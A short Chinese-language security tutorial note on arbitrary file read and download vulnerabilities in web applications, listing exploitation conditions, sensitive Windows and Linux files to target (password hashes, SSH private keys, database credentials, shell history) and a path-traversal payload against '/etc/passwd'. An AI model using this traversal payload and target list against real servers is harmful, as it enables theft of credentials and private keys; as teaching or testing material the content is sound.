一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载服务器任意文件,导致任意文件读取与下载漏洞 。
利用条件:
- 存在读取或下载文件的函数
- 用户的输入可控
- 可以读取的内容可以显示出来
任意文件读取/下载漏洞的危害:下载服务器任意文件,如脚本代码、服务及系统配置文件等。可用得到的代码进一步代码审计,得到更多可利用漏洞。
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd 查看用户文件文件
/etc/shadow 查看密码文件
/etc/my.cnf
/etc/httpd/conf/httpd.conf 查看apache的配置文件
/root/.bash_history 查看历史命令
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
index.php?f=../../../../../../etc/passwd